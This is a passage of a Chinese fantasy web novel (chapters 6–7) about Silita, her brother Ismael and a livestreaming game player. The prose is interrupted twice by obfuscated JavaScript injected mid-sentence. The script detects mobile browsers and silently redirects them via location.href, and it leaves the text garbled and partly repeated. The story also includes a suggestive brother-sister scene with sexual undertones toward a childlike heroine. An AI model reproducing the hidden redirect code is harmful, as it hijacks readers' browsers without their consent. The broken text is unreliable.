希莉塔猜想这大概是一件魔法物品。 她小心地提着裙摆,警惕地左右张望,哪怕知道这里只是无人关注的一个小角落,有着很多树木遮挡,她还是担心会有别人出现。 好一会,哥哥才帮她扣好束腰。 那些材质紧紧贴着她的皮肤,传来一种流动的触感。 没有温度,但是有点舒服…… 她感到那些让她窘迫的需求消失了。 “这是什么,哥哥?” 希莉塔有些好奇地问。 “这起源于一种生命魔法,能暂时压制你身体感官的流动,但它也有代价,你不能再毫无节制地喝水了,希莉塔。” “哦……” 魔法真方便……她想,不过哥哥为什么会准备这个东西呢? 他从来没有远行过。 希莉塔没有为此困惑多久,她的注意力很快就被别的事情吸引,骑在鹿上左看右看,有一肚子话想要说,又乖乖地惦记着自己不能再喝水,因此把它们都记在了心里,准备晚上休息的时候再问哥哥。 “啊啊啊啊啊——” 不远处的田野里忽然跑出来一个乱七八糟的少年,一边哭一边大喊着救命。 “我只是掏了几个鸟蛋为什么会有这么多地精,这不是新手村吗啊啊啊啊啊——” 看见他们,少年哭喊的声音一顿,脚步也停了下来。 他下意识擦了擦眼泪和鼻涕,问:“家人们、你们帮我看看……我这是上天了吗?” 有两个天使降临在路边啊! 6. 第 6 章 玩家是一个知名主播。 搞笑区的。 他今天玩的是一个还在内测的新游戏。 内测名额非常稀少,游戏技术非常真实。 进入全息舱,就和真的来到了异世界一样! 他选择的职业是盗贼。 刚刚去地精洞穴偷鸟蛋,被追着撵,这都是他的策略。 他每天都会顶着一张嫩嫩的清秀正太脸,故意做些狗撵鸡啄的抽象事,主打一个反差。 总有人可惜他的脸蛋,让他不断上榜‘如果是个哑巴’主播榜单。 呵呵,靠脸吃饭这种事,能长久吗?他又不是A神,拿什么留住观众?当然要搞点乐子了! 他人笑我太疯癫,我笑他人看不穿,哼哼,直播最重要的是什么,笑果! 可是老婆(大哭)(捶胸顿足)——没有人告诉他,在满脸鼻涕眼泪毫无形象的时候,遇见了生命中唯一的天使女神宝宝亲爱的命中注定的老婆大人该怎么办。 怎么办——! 宝宝老婆大人骑在高高的鹿上,漂亮得整个人都在发光,像是被他的忽然出现吓了一跳,捂住胸口,露出惊讶的表情。 完全天使! 旁边还有个一看就是死装货的男的。 “哥哥……” 宝宝老婆叫他哥哥。 哦!是未来的大舅子! 怪不得长得这么好看,完全继承了宝宝老婆的天使基因! 大舅子冷着脸,两个法术框框砸在地精上,战斗一秒钟就结束了。 天神下凡!乐于助人!善良伟大! 【酷哥萌妹,天生一对!】 胡说八道!人家是兄妹! 【我笑纳了。】 是你的吗你就纳! 【刚出新手村路遇魅魔兄妹拼尽全力无法抵抗……】 要你抵了吗你就抗! 【豆宝豆宝,帮我分析一下怎么屏蔽主播。】 ……? 玩家坚强地擦着鼻涕,“我平时不是这样的。”他说,“其实我平时不这样。” 大舅子看也没看他一眼。 宝宝老婆看看满地的地精尸体,又看看他,像是害怕极了,小脸被吓得白白的,还强撑着朝他点点头,轻轻地“嗯”了一下。 太善良…… 【萌的人想死】 【我死了(大字躺)】 【萌萌可爱天使小宝,美味得旁边人死了都不知道。】 【本人宣布正式和一切红眼给命文学和解,妹妹再嗯一声命都给你。】 【是我我也给。】 【是我我也给】 … 【爽得老娘一拳干爆三十个虫族】 【主播你凭什么,,,】 【笑家军出列,把笑纳给我打在公屏上!】 【代表M78星云,笑纳!】 … 【老婆好香老婆蹭蹭蹭蹭蹭蹭蹭……】 【宝宝怕怕的好可怜、亲一下。宝宝怕怕的好可怜、亲一下。宝宝怕怕的好可怜、亲一下……】 【这什么主播,这什么弹幕?形象呢?素质呢?道德呢?游戏名字呢?】 玩家屏蔽了弹幕,用最快的速度擦拭自己的脸颊。 他要给宝宝留下好印象! …… 这是希莉塔第一次看见地精。 虽然成群结队,一大群乌泱泱冲上来的时候非常吓人,但只用了一两秒钟,战斗就结束了。 看起来很弱小的样子。 这让她彻底安心下来。 哥哥已经把村子周围的地精都清理了,村庄里面有很多聪明强壮的年轻人,牧师大人也在,就算地精又忽然变多,袭击村庄,他们也有能力抵抗。 “冒险家协会里面有长期的地精剿灭任务!” 陌生少年已经擦干净了脸上的脏东西,露出极其清秀可爱的容颜。 他看起来年纪很小,身形瘦弱,皮肤白皙,眼睛圆圆的,水汪汪。 望过来的时候,一副可怜可爱的样子。 “地精的右耳也是一种魔药药材,把耳朵割下来去交任务,能同时获得两份报酬……” 他十分热情地介绍着这些事。 “那个,呃,尊敬的小姐和先生,你们救了我,战利品应该属于你们。那个,我来帮你们割耳朵!” 说着,他掏出一把银制小刀,非常快速地收割起了残局。 好熟练…… 希莉塔坐在路边,有些好奇地看着他。 这么小,就已经在外面辛苦地讨生活了呢。 “喝点水,希莉塔。” 哥哥把水囊递给她。 水囊里有一根特制的管子,可以让她低头喝水,避免被呛到的风险。 水的温度正好,里面加了蜂蜜,甜甜的。 还惦记着‘有代价’的束腰,希莉塔不敢多喝,只把甜水含在嘴里,等它自己流入喉咙,把这当做一种平复心情的途径。 很快,她的心跳平复下来。 看着少年快速地切割耳朵,也不感到害怕。 她并不同情地精这种会食用人类的物种。 “一共46只!” 玩家点开背包,选择[地精右耳x46],点击赠送。 [伊斯梅尔&希莉塔拒绝了你的礼物。] 玩家有点困惑地看着他们。 大舅子的想法不重要。 可是老婆为什么不要这些东西? 她娇娇瘦瘦的样子一看就知道病了很久,在太阳底下坐着,皮肤像是薄薄的透明的水,好像一不留神就会被晒得融化。 而且她穿得好朴素,黄色的羊毛长裙,没有任何首饰,出门也没有坐豪华马车,虽然骑着鹿很漂亮可爱像是湖中仙女,但怎么说都没有马车舒服啊。 好可怜,好心疼…… 他要氪金。 玩家找了找,没有找到氪金界面。 于是又试图让老婆先接受他现在的礼物。 他想要跳过哥哥直接送给老婆,但是不管怎么样,选择的目标都会自动变成[伊斯梅尔]。 怎么回事? 他也不管自己还在直播了,急得到处找客服反馈BUG。 …… 希莉塔休息好之后,他们继续出发。 或许是担心再次遭遇意外,哥哥这次也坐了上来。 他牵起野鹿脖子上的绳索,腕骨纤细,却十分具有力量感。 希莉塔安心地倚靠在哥哥的胸膛。 “你们要走了吗?” 那个少年追了上来。 他怀里还抱着那个装满战利品的袋子,头发被风吹得凌乱,执着地问道: “为什么不要呢?” 好像有点可怜呢…… 希莉塔抬头看了看哥哥。 伊斯梅尔:“上面都是他的鼻涕,希莉塔。” 希莉塔:…… 如果真的只是因为嫌弃鼻涕,使用清洁术就好了呀。 哥哥这么说,一定是心软了,想要帮助他。 希莉塔只觉得自己又看穿了哥哥藏在平静外表下的柔软和善良,忍不住笑了笑。 她拍拍小鹿的脖子,让它降速。 少年气喘吁吁地追在鹿旁边,仰头看着她,像是一只眼巴巴等待着什么赏赐的小动物。 希莉塔愣了一下,连忙把这样失礼的想法从脑袋里甩走。 “我们想把这些战利品送给你。” 他这么矮小、瘦弱,却独自一人面对危险,一定有迫不得已的苦衷吧? 想到这里,她的语气放轻了许多。 “希望它们能换来一些铜币,帮助你更好地渡过难关……以后要小心一些哦,生命很重要,下一次,说不定就没有人来救你啦。” 少年呆呆地看着她。 像是被她的话吓到了那样,他停在原地,羞愧地低下了脑袋,整个人都颤抖了起来。 果然还是个小朋友呢。 她笑了笑,朝他挥挥手:“开玩笑的啦。不管在哪里,祝你一直这样幸运,再见。” 她抓稳鹿角,野鹿向前奔跑。 …… 跨过长满牧草的平原,前面就是羊毛镇。 小镇围着一圈高高的木质围墙,看起来像是灰色的大栅栏。 城门底下站着两个守卫。 他们穿着铁甲、握着铁剑,两张脸都藏在头盔里,只露出冷漠而又戒备的眼睛。 如果希莉塔还醒着,她一定会特别好奇地到处张望。 可惜她无法承受这么长途的骑行,在半路就睡着了。 她倚在哥哥的胸口,睡得脸颊红红的,哪怕被抱下来,也只是颤动了几下睫毛,无力清醒。 野鹿低下头,眷念地拱了拱她。 伊斯梅尔看了它一眼。 小鹿眨眨眼睛,在地面上磨了几下蹄子,像是在表达自己的不甘心。 但在那双漆黑眼眸的注视下,它很快就温顺地退后,拉开距离,乖乖驮着行囊,跟随在他的身侧。 …… 醒来的时候,正是黄昏和黑夜的交界。 房间里点着灯,天空灰蒙蒙一片,太阳沉落。 人在这个时候醒来,总是容易感到一阵茫然、惆怅,希莉塔也不例外。 还来不及喊哥哥,她就被抱起来。 眼前出现昏暗的灯光,橘黄色调,亮度正好,没有晃到她的眼睛。 “我们到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261017|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?哥哥。” “是的,希莉塔。” 哥哥问:“喜欢这个房间吗?” 希莉塔迷迷糊糊地打量房间。 房间里贴着红色的墙纸,地上铺着图案繁复的地毯,中央是带着床帐的大床,配合着昏暗的灯光,整个房间都带着某种风情。 除此之外,房间里还有两张写字台、两把椅子,一个壁炉,一张沙发。 太、太豪华了吧……? 她趴在哥哥的肩膀上,刚想询问房间的价格,就被哥哥抱到了写字台上。 写字台的台面是折叠的,打开就变成了两倍的宽度。 上面已经提前垫好了柔软的垫子。 “哥哥?” 忽然离开哥哥的怀抱,加上双脚悬空,这让希莉塔有些不安,她下意识想要去抱哥哥的腰。 被轻轻挡了一下。 “把裙子提起来。” 哥哥说。 希莉塔愣了一下,懵懵地乖乖照做。 哥哥弯下腰,垂眸看过来。 呼吸喷洒,带来熟悉而又无法适应的颤栗。 她睫毛颤了颤,有些难以忍受地红了脸颊,却也知道哥哥和莱特不一样,不会忽然伸舌头舔她。 哥哥这么做一定是有原因的。 这么想着,希莉塔也跟着低头看下去。 腿上的皮肤被擦伤了,红红一片,很大的一片。 看起来有些吓人。 “哥哥?” 希莉塔茫然而又惊慌地攥紧裙摆。光明在上……她一点痛都没感觉到! 哥哥抬眸看了她一眼,像是在观察她的表情,接着,他把手指轻轻按压在上面。 浅粉色的光芒在他指尖浮现,那代表着治愈魔法。 仅仅是几个呼吸,她的伤口就完全消失了。 这是哥哥最先学会的魔法,因为小时候的希莉塔总是莫名其妙地受伤,身上常常青一块紫一块的,在她第二次朝哥哥哭着喊疼的时候,哥哥就学会了治愈魔法。 希莉塔慢吞吞地走神,感觉到哥哥的手指向上,扣住了她的束腰。 “这件物品的起源魔法叫做缓行。” 哥哥停顿了一下。 “也有人称它为缓刑。” 因为它会积攒佩戴着所有的感官,在解除束缚之后,一瞬间地迸发出来。 无论痛苦,或是欢乐。 这样成倍的叠加,都是一种无法承受的刑罚。 有许多骑士佩戴着这个魔法的附魔物品战斗,在战场上英勇无畏,取下物品后,却活活痛死过去。 活、活活痛死? 希莉塔听得小脸发白,忍不住去扯哥哥的衣角。 “对不起,希莉塔。” 哥哥向她道歉:“哥哥还不够强大,不能完全掌控你的身体。” “……不是哥哥的错。” 她艰难地维持着语言:“是我太不勇敢了。” 她怕痛,又爱哭,如果不戴上这个束腰,根本没办法坚持这么长的骑行。 哪怕哥哥每秒钟都对她使用治愈魔法,那些疼痛也是没办法消失的。 她一定会哭,眼泪掉得到处都是,哭着请求哥哥把她打晕过去,但哥哥一定舍不得这么做……对于疼痛,她一直都不是一个勇敢的孩子。 “是哥哥的错。” 伊斯梅尔对自己使用了一个清洁术,然后抬起手,轻轻掐住她的下巴。 她被迫仰起脸,看见哥哥的眼睛。 在昏沉沉的灯下,哥哥白皙的肌肤和黑沉沉的眼眸呈现出一种令人眩晕的质感,令她思维发散。 “书上说,要教会你忍耐,但哥哥一直不忍心。” 说着,束腰被摘下来。 哥哥的手指插入口腔。 强势、突然、毫无预兆。 那些想象中的疼痛没有到来。 只有哥哥的手指、哥哥的眼睛。 哥哥的眼睛,像是一种比黑夜更深的东西,仿佛能吞噬一切物体。 头脑空白,只有被侵入的、清晰的感官。 欢欣鼓舞。充满依恋。 因为是哥哥,所以不觉得害怕。 因为是哥哥,欢迎哥哥进来……所以、所以…… 哥哥眨了一下眼睛。 他看着她的表情,手指停顿,然后将她松开。 那些疼痛结束了吗?她不知道。 她只是失神地看着哥哥。看见他平静的、完美的脸,修长漂亮的、沾上她口水的手指。 哥哥没有使用清洁术。 而是用毛巾擦拭手指。 看着她、注视她,注视着她的眼睛、她的脸,她的嘴唇。 一点一点、极其缓慢地擦拭。 7. 第 7 章 哥哥,脸上总是没有太多表情。 黑到极致的眼睛,有时候带来一种莫名的神性。 希莉塔坐在写字台上,小腿悬空,头脑空白,这让她感觉自己正漂浮在一片黑色的海洋里,找不到任何一个可以依靠的物体。 只有哥哥。 脸颊痒痒的,因为刚刚被哥哥捉住下巴。 舌头和口腔也浮现一种感觉,那是哥哥手指进来的触感。 看起来那样纤细修长的漂亮手指头,做起家务来是那样赏心悦目,抚摸她的头发是如此轻柔温暖。 可是在进入口腔之后,就变成了可以完全塞满她的、欺负人的大东西了…… 好奇怪…… 哥哥还在看着她。 看得她、看得她全身都好奇怪…… 不许看了…… 希莉塔侧过脸,躲开哥哥的目光,她很想叫哥哥移开眼睛,可是不知道为什么,她有点不敢和现在的哥哥说话。 身体热乎乎的。 陌生的浪潮席卷而上。 希莉塔第一次体会到这样的感受,她感到害怕而又惶恐,无法承受地往下栽倒。 跌进哥哥的怀抱。 有哥哥在,她从来不用担心自己会摔去让她疼的地方。 他抬手抚摸她的脊背,带来一阵阵颤栗,她倚靠在哥哥怀里,抱着哥哥的手腕,一下一下发抖。 缓了好一会,她才平复下来,仰头看向哥哥,满脸委屈。 好可怕…… 再也不要被哥哥摸舌头了……好可怕。 “对不起,希莉塔。” 哥哥拨开她泪湿的头发,不知道在为什么而道歉。 “热水已经准备好了。”他没让她在这样的情景停留太久。 “去洗个澡。” “哦……” 被抱进盥洗室。 哥哥扶着她的腰让她站稳,又等了她一会,才轻手轻脚地走了出去。 希莉塔下意识看向镜子里的自己。 不知道为什么,她只敢看一眼,就匆匆地移开了目光,不敢再看。 低下头,发现哥哥已经准备好了她的牙刷、牙粉,还有一整个木桶的热水、澡巾,和叠得整整齐齐的裙子。 牙刷的刷柄是苹果木,打磨得十分圆润,握在手里有一种暖暖的温度。 刷毛是由一种名叫“咕咕兽”的毛发制成的。 这种魔法小兽大概是小马和未知生物的杂交种,特点是会咕咕叫、毛发很适合用来刷牙。 牙粉有点咸,又有点甜。 里面加了盐和蜂蜜,还有一些花瓣、研磨细碎的柳炭粉、燕麦粉…… 还有一些她已经记不清的物质。 希莉塔仔细地刷过牙,准备洗澡的时候,浴桶里的水温已经从微微发烫,下降到了刚刚好的温度。 哥哥…… 在照顾她这件事情上,哥哥一直都这样细致,日复一日。 幸福和感激充盈了心灵。 希莉塔泡进温水里,把这几天产生的乱糟糟的思绪全都抛到脑袋后面。 这是她保持快乐的方法。 她想象自己是一只快乐幸福的小鸭子,虽然有着灰扑扑的不起眼的羽毛,但她有天底下最好的哥哥。 哥哥会爱她,照顾她,带她一起在无边无际的海洋里流浪。 海里的水温温的、热热的,就像哥哥的拥抱。 她快速洗好澡,然后扑出去抱住他。 “哥哥。” 或许是第一天离开村庄,第一天来到外面的世界,或许是踏上了前往艾德兰的路途,开始触碰那个遥不可及的梦想。 希莉塔只觉得自己比过往的每一天都要更加快乐、满足。 “喜欢哥哥。” 她说:“好喜欢……” 哥哥轻轻地揉了揉她的头发。 把她抱到窗户底下,温暖的炉火旁,缓慢细致地帮她擦头发。 直到每一根发丝都变得干燥、柔顺,抹好发油之后,他才敲敲她的肩膀。 她被水滴打湿的裙子一下子变得干燥起来。 “哥哥?” 希莉塔伏在他的肩膀。 “既然哥哥要使用魔法,为什么不干脆把我的头发一起弄干呢?” “哥哥不想这么做。” “为什么?” “这是哥哥的责任。” 哥哥说:“或许魔法会伤害你的头发,让它受到损伤。” “……哦。” 希莉塔站起来,看着自己的头发。 她的头发直而垂顺,很少缠在一起让她烦恼,冬天也不会毛毛糙糙,这都是哥哥精心照顾的功劳。 拥有长长的头发,就像是拥有了长长的生命。 抱着这样幼稚的想法,她一直舍不得剪短,现在已经垂到膝盖了。 会不会有点太长了? 哥哥要照顾她的头发一定很辛苦…… 等她学会火元素的魔法,就可以自己照顾头发了吧? 像哥哥一样,洗完澡就立刻烤干,稍微损伤一点也是可以的,毕竟去了艾德兰之后,她和哥哥都要上课,如果住在学校里,肯定不能再一起睡觉了。 哥哥也去洗了个澡。 洁净的、无法容忍一丝灰尘的哥哥,每天用的都是她洗过的水。 她感觉脸颊有些发烫。哥哥既然会火元素的魔法,可以很快把水弄热,为什么不再烧一桶呢? “想去哪里吃晚餐?” 哥哥很快出来,干净清爽,身上带着羊脂皂的香气。 “旅店、餐厅,又或者酒馆。” “酒馆……” 希莉塔的眼睛一下子亮起来。 在冒险故事里,或许没有一个强大的勇者,没有一条邪恶的巨龙,但一定会有一个充满故事的酒馆。 “真的吗?哥哥,我们要去酒馆?” “当然,希莉塔。” 她欢呼一声,只觉得兴奋得心脏都快发痛了,抱住哥哥的手臂,开心地直晃:“要去酒馆,去酒馆,哥哥。” “好。” 哥哥轻轻捉住她的脚踝。 “别着急,希莉塔,在那之前,先穿上你的新鞋子。” 棕色的旅者之靴,由厚实耐磨的植物鞣制牛皮和富有弹性的山羊皮组成,还加了一块染色的小鹿皮作为装饰,泛着附魔印记的深蓝色微光。 轻微防水、防火,防止脏污,轻度减少行走的疲惫,由矮人协会出品。 希莉塔盯着鞋面上那块深蓝色的小鹿皮,只觉得喜爱得不知道怎么办才好,简直想要原地蹦跶几下,抒发自己激动的心情。 “哥哥……” 她根本舍不得穿出去。 哥哥看着她笑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261018|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 希莉塔呆呆地看着哥哥,好一会,用力抱住他。 怎么办……用拥抱已经无法表达她对哥哥的喜欢和爱了,怎么办? “哥哥。” 她把脑袋埋进哥哥的胸口,嗅嗅味道,黏糊糊蹭了好几下,好一会,又问:“这、这花了多少金币呀,哥哥?你比我走路更多……” “哥哥不想对你说谎,希莉塔。” 哥哥摸摸她的头发。 “哥哥送你礼物,是想看见你的笑容,不是想引起你的愧疚。希莉塔,你值得世界上所有的一切,哥哥不需要这么多东西,只要你的开心。” “哦……” 她有点想哭,抱着哥哥的脖子贴了好一会,才勉强把心情平复下来。 “那哥哥也要买一双。” “好。” 得到答应的希莉塔开心起来。 就像哥哥说的,既然已经付出了金币,那就要开心,比收到礼物之前更加开心。 不然的话,金币岂不是白花了吗? 想到这里,她顿时觉得脚踏实地起来,不再软乎乎地飘在云朵里了。她拉着哥哥往外走。 伊斯梅尔任由妹妹带路,装作被她拽着走的模样,哪怕她根本就不知道酒馆的方向。 …… 出去之后,希莉塔才发现这里不是村庄附近的那个小镇。 而是一个更大、更繁华,完全陌生的小镇。 哥哥说,这里才有马车售卖。 希莉塔理解地点点脑袋,放慢速度,好奇地左右张望。 附近是平原,十分适合放牧,小镇的空气中带着活羊和羊毛的气味,但勤于清扫,所以并不浓郁。 更多的是青草、花朵,和食物的清香。 王国的信仰是光明神。 祂是一位喜爱洁净、厌恶污浊的神明。 所以洁净被写进了教条和法律里,还配有由牧师和骑士共同组建的‘净戒骑士团’。 每个人都要保持自己的外表洁净、心灵洁净,以及家庭居所、商铺洁净。 而王国、教会和贵族们,则要维护领地内城镇、道路、公共建筑的洁净。 故意制造脏污之人,会面临不同程度的罚金,还会被关进牢狱。 更严重者,可能会被视为黑暗眷属,处以极刑。 王国上下,哪怕是农村,都在尽力维持洁净。 就算是流浪汉,也时常去教会的收容所沐浴、领取干净的衣物,避免带着异味乞讨。 那样不仅要不到钱,还会被捉进监狱。 整洁而又干净的街道很好地保护了希莉塔的新鞋子。 赞美光明…… 希莉塔牵着哥哥,在黄昏的街道上行走,周围人来人往,点满街灯。 “哥哥你看,他会喷火……” 有许多流浪的艺术家聚在广场上表演,他们弹奏音乐、吟唱诗篇,还有人表演简单的小戏法。 希莉塔慢吞吞给每个人鼓掌。 但轮到打赏的时候,她就只好吝啬地一毛不拔了,这让她不好意思再继续观看,拉着哥哥离开。 生命中最快乐的一天。粉色晚霞烧满天空,斜阳西下,火光照亮人们的侧脸,她牵着哥哥往前跑,回过头,发现哥哥正看着她笑。 好幸福…… 哥哥。 她会和哥哥去更多更远的更美的地方。